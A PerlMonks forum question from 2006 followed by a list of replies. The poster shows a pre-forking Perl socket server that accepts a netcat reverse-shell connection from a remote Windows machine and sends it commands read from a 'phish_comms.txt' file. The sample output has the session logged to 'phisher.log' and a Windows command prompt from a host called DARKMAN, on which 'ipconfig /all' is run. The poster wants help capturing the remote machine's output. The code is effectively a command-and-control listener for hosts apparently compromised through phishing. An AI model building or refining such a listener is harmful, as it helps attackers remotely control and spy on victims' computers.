carric has asked for the wisdom of the Perl Monks concerning the following question:
Basically, what I eventually want to do is send commands to a netcat listener that has connected to me, and capture all it's output. Here is my sub for the client accept piece:$ perl pre-forker2.pl -p 8888 Server pre-forker2.pl listening on port "8888" and logging to file "ph +isher.log" on Tue Jan 17 11:59:59 2006 [Connect from localhost] microsoft quit [Connect from DARKMAN] Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. E:\>ipconfig /all
sub make_new_child { my $pid; my $sigset; # block signal for fork $sigset = POSIX::SigSet->new(SIGINT); sigprocmask(SIG_BLOCK, $sigset) or die "Can't block SIGINT for fork: $!\n"; die "fork: $!" unless defined ($pid = fork); if ($pid) { # Parent records the child's birth and returns. sigprocmask(SIG_UNBLOCK, $sigset) or die "Can't unblock SIGINT for fork: $!\n"; $children{$pid} = 1; $children++; return; } else { # Child can *not* return from this subroutine. $SIG{INT} = 'DEFAULT'; # make SIGINT kill us as it did befor +e # unblock signals sigprocmask(SIG_UNBLOCK, $sigset) or die "Can't unblock SIGINT for fork: $!\n"; # handle connections until we've reached $MAX_CLIENTS_PER_CHIL +D for (my $i=0; $i < $MAX_CLIENTS_PER_CHILD; $i++) { my $client = $server->accept(); # Set up vars for commands, and make sure the # @commands array is empty to start my @commands = (); my $command; # import commands we want to execute on remote client open( CMDFH,"<phish_comms.txt"); @commands = <CMDFH>; close CMDFH; chomp @commands; $client->autoflush(1); my $hostinfo = gethostbyaddr($client->peeraddr); printf "[Connect from %s]\n", $hostinfo->name || $client->pe +erhost; while ( <$client> ) { next unless /\S/; # blank line if (/quit|exit/i) { last; } elsif (/test/i) { print $client "Test yourself..\ +n"; } elsif (/microsoft/i) { ## print list of commands to cl +ient foreach $command(@commands) { print $client "$command\015\012"; } } else { last; }; } continue { } close $client; }
|
|---|
| Replies are listed 'Best First'. | |
|---|---|
|
Re: IO::Socket Bi-directional comm
by zentara (Cardinal) on Jan 18, 2006 at 14:05 UTC | |
by carric (Beadle) on Jan 28, 2006 at 03:35 UTC | |
by zentara (Cardinal) on Jan 28, 2006 at 12:15 UTC | |
by carric (Beadle) on Jan 30, 2006 at 06:10 UTC | |
by carric (Beadle) on Jan 30, 2006 at 16:39 UTC | |
by zentara (Cardinal) on Jan 30, 2006 at 18:31 UTC |